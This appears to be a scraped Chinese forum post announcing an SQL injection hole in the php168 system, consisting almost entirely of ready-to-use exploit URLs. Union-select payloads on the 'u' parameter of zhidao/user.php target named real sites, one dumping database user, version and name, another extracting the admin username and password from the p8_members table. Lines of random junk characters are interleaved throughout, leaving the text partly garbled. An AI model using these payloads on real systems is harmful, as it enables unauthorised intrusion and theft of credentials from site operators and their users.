php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
, y& c, X" i6 B& w% b; z                                                         
7 U6 e- Y/ t+ |                                       
, A# a& h" m3 @1 _
  I8 t1 h3 k* b  c- m( }* Fhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
                                                                  
                                                        
8 M; G7 _, V7 t! x! lhttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

# w+ j+ W6 a: D8 ]) z4 R( ?
0 H# ~! B7 M' h$ R9 l2 U* @
                                                            
* k& w# b# ^) i9 G; P5 f
. O1 |" _& i8 P) p' W. Q, W, ^http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
/ c5 }& J# R; m) V
1 w  e* g: Z8 i$ f5 C
9 E( }( n" }2 R' Y2 d% [! o
9 Z8 h+ X& {, I3 n( ?                                                                    
4 K0 V# C" i3 G; r, a# d$ {) T